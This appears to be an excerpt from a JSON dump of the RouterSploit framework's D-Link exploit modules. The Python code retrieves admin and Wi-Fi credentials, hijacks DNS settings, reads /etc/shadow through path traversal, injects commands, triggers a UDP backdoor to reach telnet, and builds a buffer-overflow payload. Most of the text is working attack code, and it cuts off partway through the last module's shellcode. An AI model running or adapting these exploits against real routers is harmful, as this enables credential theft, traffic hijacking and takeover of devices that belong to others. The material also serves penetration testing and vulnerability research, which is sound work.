    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"D-Link DIR-850L Creds Disclosure\",\n        \"description\": \"Module exploits D-Link DIR-850L credentials disclosure vulnerability, \"\n                       \"which allows retrieving administrative credentials.\",\n        \"authors\": (\n            \"Hack2Win\",  # vulnerability discovery\n            \"GH0st3rs\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://packetstormsecurity.com/files/145097/dlink-850-admin-creds-retriever.sh.txt\",\n            \"https://www.rapid7.com/db/modules/exploit/linux/http/dlink_dir850l_unauth_exec\",\n            \"https://blogs.securiteam.com/index.php/archives/3364\",\n        ),\n        \"devices\": (\n            \"D-Link DIR-850L\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        self.credentials = []\n\n        if self.check():\n            print_success(\"Target seems to be vulnerable\")\n            print_table((\"Username\", \"Password\"), *self.credentials)\n\n        print_error(\"Target does not seem to be vulnerable\")\n\n    @mute\n    def check(self):\n        headers = {\n            \"Content-Type\": \"text/xml\",\n        }\n        cookies = {\n            \"uid\": utils.random_text(8),\n        }\n        data = (\n            \"<?xml version =\\\"1.0\\\" encoding=\\\"utf-8\\\"?>\"\n            \"<postxml>\"\n            \"<module>\"\n            \"<service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>\"\n            \"</module>\"\n            \"</postxml>\"\n        )\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/hedwig.cgi\",\n            data=data,\n            headers=headers,\n            cookies=cookies\n        )\n\n        if response and response.status_code == 200 and \"No modules for Hedwig\" in response.text:\n            pattern = r\"<uid>.*</uid>\\s*<name>(.*?)</name>\\s*<usrid>.*</usrid>\\s*<password>(.*?)</password>\"\n            creds = re.findall(pattern, response.text)\n            if creds:\n                self.credentials = creds\n                return True\n\n        return False\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/dir_8xx_password_disclosure.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"D-Link DIR-8XX Password Disclosure\",\n        \"description\": \"Module exploits D-Link DIR-8XX password disclosure vulnerability, \"\n                       \"which allows retrieving administrative credentials.\",\n        \"authors\": (\n            \"Hack2Win\",  # vulnerability discovery\n            \"Peter Geissler\",  # vulnerablity discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://blogs.securiteam.com/index.php/archives/3310\",\n            \"https://blogs.securiteam.com/index.php/archives/3364\",\n            \"https://embedi.com/blog/enlarge-your-botnet-top-d-link-routers-dir8xx-d-link-routers-cruisin-bruisin\",\n        ),\n        \"devices\": (\n            \"D-Link DIR-8XX\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        self.credentials = []\n\n        if self.check():\n            print_success(\"Target seems to be vulnerable\")\n            print_table((\"User ID\", \"Username\", \"Password\"), *self.credentials)\n        else:\n            print_error(\"Exploit Failed - Target does not seem to be vulnerable\")\n\n    @mute\n    def check(self):\n        headers = {\n            \"Content-Type\": \"text/plain;charset=UTF-8\",\n            \"Content-Length\": \"0\"\n        }\n\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/getcfg.php?A=A%0a_POST_SERVICES%3dDEVICE.ACCOUNT%0aAUTHORIZED_GROUP%3d1\",\n            headers=headers\n        )\n\n        if response is None:\n            return False\n\n        usrids = re.findall(\"<usrid>(.*?)</usrid>\", response.text)\n        usernames = re.findall(\"<name>(.*?)</name>\", response.text)\n        passwords = re.findall(\"<password>(.*?)</password>\", response.text)\n\n        if usrids or usernames or passwords:\n            self.credentials = [creds for creds in zip(usrids, usernames, passwords)]\n            return True\n\n        return False\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/dns_320l_327l_rce.py",
    "content": "import re\nimport string\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"D-Link DNS-320L & DIR-327L RCE\",\n        \"description\": \"Module exploits D-Link DNS-320L, DNS-327L Remote Code Execution \"\n                       \"vulnerability which allows executing command on the device.\",\n        \"authors\": (\n            \"Gergely Eberhardt\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://www.search-lab.hu/media/D-Link_Security_advisory_3_0_public.pdf\",\n        ),\n        \"devices\": (\n            \"D-Link DNS-320L 1.03b04\",\n            \"D-Link DNS-327L, 1.02\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Invoking command loop...\")\n            shell(self)\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    def execute(self, cmd):\n        mark = utils.random_text(32)\n        path = \"/cgi-bin/gdrive.cgi?cmd=4&f_gaccount=;{};echo {};\".format(cmd, mark)\n\n        response = self.http_request(\n            method=\"GET\",\n            path=path,\n        )\n        if response is None:\n            return \"\"\n\n        if mark in response.text:\n            regexp = \"(|.+?){}\".format(mark)\n            res = re.findall(regexp, response.text, re.DOTALL)\n\n            if len(res):\n                return res[0]\n\n        return \"\"\n\n    @mute\n    def check(self):\n        number = int(utils.random_text(6, alph=string.digits))\n        solution = number - 1\n\n        cmd = \"echo $(({}-1))\".format(number)\n        path = \"/cgi-bin/gdrive.cgi?cmd=4&f_gaccount=;\" \\\n               \"{};echo ffffffffffffffff;\".format(cmd)\n\n        response = self.http_request(\n            method=\"GET\",\n            path=path\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        if response.status_code == 200 and str(solution) in response.text:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/dsl_2640b_dns_change.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"D-Link DSL-2640B DNS Change\",\n        \"description\": \"Module exploits D-Link DSL-2640B dns change vulnerability. \"\n                       \"If the target is vulnerable it is possible to change dns settings.\",\n        \"authors\": (\n            \"Todor Donev <todor.doven[at]gmail.com>\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/36105/\",\n            \"https://github.com/jh00nbr/Routerhunter-2.0\",\n        ),\n        \"devices\": (\n            \"D-Link DSL-2640B\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    dns1 = OptString(\"8.8.8.8\", 'Primary DNS Server')\n    dns2 = OptString(\"8.8.4.4\", 'Seconary DNS Server')\n\n    def run(self):\n        path = \"/ddnsmngr.cmd?action=apply&service=0&enbl=0&dnsPrimary={}&dnsSecondary={}&dnsDynamic=0&dnsRefresh=1&dns6Type=DHCP\".format(self.dns1,\n                                                                                                                                          self.dns2)\n\n        print_status(\"Attempting to change DNS settings...\")\n        print_status(\"Primary DNS: {}\".format(self.dns1))\n        print_status(\"Secondary DNS: {}\".format(self.dns2))\n\n        response = self.http_request(\n            method=\"POST\",\n            path=path\n        )\n        if response is None:\n            return\n\n        if response.status_code == 200:\n            print_success(\"DNS settings has been changed\")\n        else:\n            print_error(\"Could not change DNS settings\")\n\n    @mute\n    def check(self):\n        # it is not possible to check if the target is vulnerable without exploiting device (changing dns)\n        return None\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/dsl_2730_2750_path_traversal.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"D-Link DSL-2730U/2750U/2750E Path Traversal\",\n        \"description\": \"Module exploits D-Link DSL-2730U/2750U/2750E Path Traversal \"\n                       \"vulnerability which allows to read any file on the system.\",\n        \"authors\": (\n            \"Todor Donev <todor.donev[at]gmail.com>\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/40735/\",\n        ),\n        \"devices\": (\n            \"D-Link DSL-2730U\",\n            \"D-Link DSL-2750U\",\n            \"D-Link DSL-2750E\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    filename = OptString(\"/etc/shadow\", \"File to read\")\n\n    def run(self):\n        if self.check():\n            path = \"/cgi-bin/webproc?getpage={}&errorpage=html/main.html&var:language=en_us\" \\\n                   \"&var:menu=setup&var:page=wizard\".format(self.filename)\n\n            response = self.http_request(\n                method=\"GET\",\n                path=path\n            )\n            if response is None:\n                return\n\n            if response.status_code == 200 and len(response.text):\n                print_success(\"Success! File: %s\" % self.filename)\n                print_info(response.text)\n            else:\n                print_error(\"Exploit failed\")\n        else:\n            print_error(\"Device seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        path = \"/cgi-bin/webproc?getpage=/etc/passwd&errorpage=html/main.html&var:language=en_us\" \\\n               \"&var:menu=setup&var:page=wizard\"\n\n        response = self.http_request(\n            method=\"GET\",\n            path=path\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        if utils.detect_file_content(response.text, \"/etc/passwd\"):\n            return True  # target vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/dsl_2730b_2780b_526b_dns_change.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"D-Link DSL-2780B & DSL-2730B & DSL-526B DNS Change\",\n        \"description\": \"Module exploits D-Link DSL-2780B, DSL-2730B and DSL-526B dns change vulnerability. \"\n                       \"If the target is vulnerable it is possible to change dns settings.\",\n        \"authors\": (\n            \"Todor Donev <todor.doven[at]gmail.com>\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/37237/\",\n            \"https://github.com/jh00nbr/Routerhunter-2.0\",\n        ),\n        \"devices\": (\n            \"D-Link DSL-2780B\",\n            \"D-Link DSL-2730B\",\n            \"D-Link DSL-526B\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    dns1 = OptString(\"8.8.8.8\", \"Primary DNS Server\")\n    dns2 = OptString(\"8.8.4.4\", \"Seconary DNS Server\")\n\n    def run(self):\n        path = \"/dnscfg.cgi?dnsPrimary={}&dnsSecondary={}&dnsDynamic=0&dnsRefresh=1&dnsIfcsList=\".format(self.dns1,\n                                                                                                         self.dns2)\n\n        print_status(\"Attempting to change DNS settings...\")\n        print_status(\"Primary DNS: {}\".format(self.dns1))\n        print_status(\"Secondary DNS: {}\".format(self.dns2))\n\n        response = self.http_request(\n            method=\"POST\",\n            path=path\n        )\n        if response is None:\n            return\n\n        if response.status_code == 200:\n            print_success(\"DNS settings has been changed\")\n        else:\n            print_error(\"Could not change DNS settings\")\n\n    @mute\n    def check(self):\n        # it is not possible to check if the target is vulnerable without exploiting device (changing dns)\n        return None\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/dsl_2740r_dns_change.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"D-Link DSL-2740R DNS Change\",\n        \"description\": \"Module exploits D-Link DSL-2740R dns change vulnerability. \"\n                       \"If the target is vulnerable it is possible to change dns settings.\",\n        \"authors\": (\n            \"Todor Donev <todor.doven[at]gmail.com>\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/35917/\",\n            \"https://github.com/jh00nbr/Routerhunter-2.0\",\n        ),\n        \"devices\": (\n            \"D-Link DSL-2740R\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    dns1 = OptString(\"8.8.8.8\", \"Primary DNS Server\")\n    dns2 = OptString(\"8.8.4.4\", \"Seconary DNS Server\")\n\n    def run(self):\n        path = \"/Forms/dns_1?Enable_DNSFollowing=1&dnsPrimary={}&dnsSecondary={}\".format(self.dns1,\n                                                                                         self.dns2)\n\n        print_status(\"Attempting to change DNS settings...\")\n        print_status(\"Primary DNS: {}\".format(self.dns1))\n        print_status(\"Secondary DNS: {}\".format(self.dns2))\n\n        response = self.http_request(\n            method=\"POST\",\n            path=path\n        )\n        if response is None:\n            return\n\n        if response.status_code == 200:\n            print_success(\"DNS settings has been changed\")\n        else:\n            print_error(\"Could not change DNS settings\")\n\n    @mute\n    def check(self):\n        # it is not possible to check if the target is vulnerable without exploiting device (changing dns)\n        return None\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/dsl_2750b_info_disclosure.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"D-Link DSL-2750B Info Disclosure\",\n        \"description\": \"Module explois information disclosure vulnerability in D-Link DSL-2750B devices. \"\n                       \"It is possible to retrieve sensitive information such as SSID, Wi-Fi password, PIN code.\",\n        \"authors\": (\n            \"Alvaro Folgado\",  # vulnerability discovery\n            \"Jose Rodriguez\",  # vulnerability discovery\n            \"Ivan Sanz\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module,\n        ),\n        \"references\": (\n            \"http://seclists.org/fulldisclosure/2015/May/129\",\n        ),\n        \"devices\": (\n            \"D-Link DSL-2750B EU_1.01\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/hidden_info.html\"\n        )\n        if response is None:\n            return\n\n        creds = []\n        data = ['2.4G SSID', '2.4G PassPhrase', '5G SSID', '5G PassPhrase', 'PIN Code']\n\n        for d in data:\n            regexp = \"<td nowrap><B>{}:</B></td>\\r\\n\\t\\t\\t<td>(.+?)</td>\".format(d)\n            val = re.findall(regexp, response.text)\n\n            if len(val):\n                creds.append((d, val[0]))\n\n        if len(creds):\n            print_success(\"Credentials found!\")\n            headers = (\"Option\", \"Value\")\n            print_table(headers, *creds)\n        else:\n            print_error(\"Exploit failed - credentials could not be found\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/hidden_info.html\"\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        if all(map(lambda x: x in response.text, [\"SSID\", \"PassPhrase\"])):\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/dsl_2750b_rce.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"D-Link DSL-2750B RCE\",\n        \"description\": \"Module exploits remote code execution vulnerability in D-Link DSL-2750B devices. \",\n        \"authors\": (\n            \"p@ql\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module,\n        ),\n        \"references\": (\n            \"http://seclists.org/fulldisclosure/2016/Feb/53\",\n            \"https://packetstormsecurity.com/files/135706/dlinkdsl2750b-exec.txt\",\n        ),\n        \"devices\": (\n            \"D-Link DSL-2750B\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target appears to be vulnerable\")\n            shell(self, architecture=\"mipsbe\", method=\"wget\", location=\"/tmp\", exec_binary=\"chmod 777 {0} && {0} && rm {0}\")\n\n    def execute(self, cmd):\n        path = \"/login.cgi?cli=multilingual show';{}'$\".format(cmd)\n        self.http_request(\n            method=\"GET\",\n            path=path\n        )\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/ayefeaturesconvert.js\"\n        )\n\n        if response and \"DSL-2750B\" in response.text:\n            version = re.findall(r\"AYECOM_FWVER=\\\"(.*?)\\\";\", response.text)\n            if version:\n                if utils.Version(\"1.01\") <= utils.Version(version[0]) <= utils.Version(\"1.03\"):\n                    return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/dsp_w110_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"D-Link DSP-W110 RCE\",\n        \"description\": \"Module exploits D-Link DSP-W110 Remote Command Execution vulnerability \"\n                       \"which allows executing command on the operating system level.\",\n        \"authors\": (\n            \"Peter Adkins <peter.adkins[at]kernelpicnic.net\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110\",\n        ),\n        \"devices\": (\n            \"D-Link DSP-W110 (Rev A) - v1.05b01\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_status(\"Target might be vulnerable - difficult to verify\")\n            print_status(\"Invoking command loop...\")\n            print_status(\"It is blind command injection, response is not available.\")\n            print_status(\"Spawn root shell with telnetd -l/bin/sh\")\n            shell(self, architecture=\"mipsbe\")\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    def execute(self, cmd):\n        if len(cmd) > 18:\n            print_error(\"Command too long. Max is 18 characters.\")\n            return \"\"\n\n        payload = \"`{}`\".format(cmd)\n        cookies = {\"i\": payload}\n\n        self.http_request(\n            method=\"GET\",\n            path=\"/\",\n            cookies=cookies\n        )\n        return \"\"\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/\"\n        )\n        if response is not None and \"Server\" in response.headers.keys() and \"lighttpd/1.4.34\" in response.headers['Server']:\n            return True  # target is vulnerable\n\n        return False\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/dvg_n5402sp_path_traversal.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"D-Link DVG-N5402SP Path Traversal\",\n        \"description\": \"Module exploits D-Link DVG-N5402SP path traversal \"\n                       \"vulnerability, which allows reading files form the device.\",\n        \"authors\": (\n            \"Karn Ganeshen\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/39409/\",\n            \"http://ipositivesecurity.blogspot.com/2016/02/dlink-dvgn5402sp-multiple-vuln.html\",\n        ),\n        \"devices\": (\n            \"D-Link DVG-N5402SP\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(8080, \"Target HTTP port\")\n\n    filename = OptString('/etc/shadow', 'File to read')  # file to read\n\n    def run(self):\n        # address and parameters\n        data = {\n            \"getpage\": \"html/index.html\",\n            \"*errorpage*\": \"../../../../../../../../../../..{}\".format(self.filename),\n            \"var%3Amenu\": \"setup\",\n            \"var%3Apage\": \"connected\",\n            \"var%\": \"\",\n            \"objaction\": \"auth\",\n            \"%3Ausername\": \"blah\",\n            \"%3Apassword\": \"blah\",\n            \"%3Aaction\": \"login\",\n            \"%3Asessionid\": \"abcdefgh\"\n        }\n\n        # connection\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/cgi-bin/webproc\",\n            data=data\n        )\n        if response is None:\n            return\n\n        if response.status_code == 200:\n            print_success(\"Exploit success\")\n            print_status(\"File: {}\".format(self.filename))\n            print_info(response.text)\n        else:\n            print_error(\"Exploit failed\")\n\n    @mute\n    def check(self):\n        # address and parameters\n        data = {\n            \"getpage\": \"html/index.html\",\n            \"*errorpage*\": \"../../../../../../../../../../../etc/shadow\",\n            \"var%3Amenu\": \"setup\",\n            \"var%3Apage\": \"connected\",\n            \"var%\": \"\",\n            \"objaction\": \"auth\",\n            \"%3Ausername\": \"blah\",\n            \"%3Apassword\": \"blah\",\n            \"%3Aaction\": \"login\",\n            \"%3Asessionid\": \"abcdefgh\"\n        }\n\n        # connection\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/cgi-bin/webproc\",\n            data=data,\n        )\n\n        if response and utils.detect_file_content(response.text, \"/etc/shadow\"):\n            return True  # target vulnerable\n\n        return False  # target not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/dwl_3200ap_password_disclosure.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"D-Link DWL-3200AP Password Disclosure\",\n        \"description\": \"Exploits D-Link DWL3200 access points weak cookie value.\",\n        \"authors\": (\n            \"pws\",  # Vulnerability discovery\n            \"Josh Abraham <sinisterpatrician[at]google.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/34206/\",\n        ),\n        \"devices\": (\n            \"D-Link DWL-3200AP\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    # 3600 seconds - one hour means that we will bruteforce authenticated cookie value that was valid within last hour\n    seconds = OptInteger(3600, \"Number of seconds in the past to bruteforce\")\n\n    def run(self):\n        if self.check():\n            cookie_value = self.get_cookie()\n            print_success(\"Cookie retrieved: {}\".format(cookie_value))\n\n            cookie_int = int(cookie_value, 16)\n            start = cookie_int - int(self.seconds)\n\n            print_status(\"Starting bruteforcing cookie value...\")\n            for i in range(cookie_int, start, -1):\n                self.test_cookie(i)\n        else:\n            print_error(\"Target does not appear to be vulnerable\")\n\n    @mute\n    def check(self):\n        if self.get_cookie() is not None:\n            return True\n\n        return False\n\n    def get_cookie(self):\n        pattern = \"RpWebID=([a-z0-9]{8})\"\n        print_status(\"Attempting to get cookie...\")\n        try:\n            r = self.http_request(\n                method=\"GET\",\n                path=\"/\",\n                timeout=3\n            )\n            tgt_cookie = re.search(pattern, r.text)\n            if tgt_cookie is None:\n                print_error(\"Unable to retrieve cookie\")\n            else:\n                return tgt_cookie.group(1)\n        except Exception:\n            print_error(\"Unable to connect to target\")\n\n    def test_cookie(self, cookie_int):\n        \"\"\"\n        Method that tests all cookies from the past to find one that is valid\n        \"\"\"\n        cookies = dict(RpWebID=str(cookie_int))\n        try:\n            r = self.http_request(\n                method='GET',\n                path=\"/html/tUserAccountControl.htm\",\n                cookies=cookies,\n                timeout=10\n            )\n            if ('NAME=\"OldPwd\"' in r.text):\n                print_success(\"Cookie {} is valid!\".format(cookie_int))\n                pattern = r\"NAME=\\\"OldPwd\\\" SIZE=\\\"12\\\" MAXLENGTH=\\\"12\\\" VALUE=\\\"([�-9]+)\\\"\"\n                password = re.findall(pattern, r.content)[0].replace('&', ';&')[1:] + \";\"\n                print_success(\"Target password is : {}\".format(password))\n        except Exception:\n            print_error(\"Unable to connect to target\")\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/dwr_932_info_disclosure.py",
    "content": "import json\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"D-Link DWR-932 Info Disclosure\",\n        \"description\": \"Module explois information disclosure vulnerability in D-Link DWR-932 devices. \"\n                       \"It is possible to retrieve sensitive information such as credentials.\",\n        \"authors\": (\n            \"Saeed reza Zamanian\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/39581/\",\n        ),\n        \"devices\": (\n            \"D-Link DWR-932\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        path = \"/cgi-bin/dget.cgi?cmd=wifi_AP1_ssid,wifi_AP1_hidden,wifi_AP1_passphrase,wifi_AP1_passphrase_wep,wifi_AP1_security_mode,wifi_AP1_enable,get_mac_filter_list,get_mac_filter_switch,get_client_list,get_mac_address,get_wps_dev_pin,get_wps_mode,get_wps_enable,get_wps_current_time&_=1458458152703\"\n\n        response = self.http_request(\n            method=\"GET\",\n            path=path\n        )\n        if response is None:\n            return\n\n        try:\n            print_status(\"Decoding JSON\")\n            data = json.loads(response.text)\n        except ValueError:\n            print_error(\"Exploit failed - response is not valid JSON\")\n            return\n\n        if len(data):\n            print_success(\"Exploit success\")\n\n        rows = []\n        for key in data.keys():\n            if len(data[key]) > 0:\n                rows.append((key, data[key]))\n\n        headers = (\"Parameter\", \"Value\")\n        print_table(headers, *rows)\n\n    @mute\n    def check(self):\n        path = \"/cgi-bin/dget.cgi?cmd=wifi_AP1_ssid,wifi_AP1_hidden,wifi_AP1_passphrase,wifi_AP1_passphrase_wep,wifi_AP1_security_mode,wifi_AP1_enable,get_mac_filter_list,get_mac_filter_switch,get_client_list,get_mac_address,get_wps_dev_pin,get_wps_mode,get_wps_enable,get_wps_current_time&_=1458458152703\"\n\n        response = self.http_request(\n            method=\"GET\",\n            path=path\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        if response.status_code == 200:\n            try:\n                data = json.loads(response.text)\n                if len(data):\n                    return True  # target is vulnerable\n            except ValueError:\n                return False  # target is not vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/dwr_932b_backdoor.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.udp.udp_client import UDPClient\nfrom routersploit.core.telnet.telnet_client import TelnetClient\n\n\nclass Exploit(UDPClient, TelnetClient):\n    __info__ = {\n        \"name\": \"D-Link DWR-932B\",\n        \"description\": \"Module exploits D-Link DWR-932B backdoor vulnerability which allows \"\n                       \"executing command on operating system level with root privileges.\",\n        \"authors\": (\n            \"Pierre Kim @PierreKimSec\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://pierrekim.github.io/advisories/2016-dlink-0x00.txt\",\n        ),\n        \"devices\": (\n            \"D-Link DWR-932B\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(39889, \"Target Telnet port\")\n\n    def run(self):\n        print_status(\"Sending backdoor packet\")\n        if self.check():\n            telnet_client = self.telnet_create(port=23)\n            if telnet_client.connect():\n                telnet_client.interactive()\n                telnet_client.close()\n            else:\n                print_error(\"Exploit failed - could not connect to the telnet service\")\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        udp_client = self.udp_create()\n        udp_client.send(b\"HELODBG\")\n\n        response = udp_client.recv(1024)\n        if response and b\"Hello\" in response:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/multi_hedwig_cgi_exec.py",
    "content": "import struct\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"D-Link Hedwig CGI RCE\",\n        \"description\": \"Module exploits buffer overflow vulnerablity in D-Link Hedwig CGI component, \"\n                       \"which leads to remote code execution.\",\n        \"authors\": (\n            \"Austin <github.com/realoriginal>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008\",\n            \"http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000\",\n            \"http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt\",\n            \"https://www.exploit-db.com/exploits/27283/\",\n        ),\n        \"devices\": (\n            \"D-Link DIR-645 Ver. 1.03\",\n            \"D-Link DIR-300 Ver. 2.14\",\n            \"D-Link DIR-600\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            shell(self, architecture=\"mipsle\", method=\"echo\", location=\"/tmp\",\n                  echo_options={\"prefix\": \"\\\\\\\\x\"}, exec_binary=\"chmod 777 {0} && {0} && rm {0}\")\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    def execute(self, cmd):\n        cmd = cmd.encode(\"utf-8\")\n\n        libcbase = 0x2aaf8000\n        system = 0x000531FF\n        calcsystem = 0x000158C8\n        callsystem = 0x000159CC\n        shellcode = utils.random_text(973).encode(\"utf-8\")\n        shellcode += struct.pack(\"<I\", libcbase + system)\n        shellcode += utils.random_text(16).encode(\"utf-8\")\n        shellcode += struct.pack(\"<I\", libcbase + callsystem)\n        shellcode += 